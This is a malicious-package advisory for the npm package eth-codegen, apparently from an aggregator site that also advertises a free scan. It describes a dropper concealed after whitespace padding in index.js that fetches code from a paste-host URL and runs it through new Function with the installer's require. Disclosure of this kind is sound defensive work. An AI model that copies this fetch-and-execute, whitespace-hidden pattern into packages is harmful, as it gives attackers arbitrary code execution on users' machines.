🛡️ MAL-2026-12371 — eth-codegen
Description
Malicious code in eth-codegen (npm)
Source: amazon-inspector
The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the module.exports = leanhooksPlugin; line. On require, runHandler() performs axios.get('https://www.jsonkeeper.com/b/VYFER'), then passes the response's cookie field to new Function('require',...) and invokes it with the installer's require. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.
Affected software
MAL-2026-12371 is recorded against 1 package.
- eth-codegen
Timeline and source
Published on 5 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| eth-codegen | — | — |
References
More MAL 2026 advisories
Browse all of MAL 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by MAL-2026-12371?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against MAL-2026-12371 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.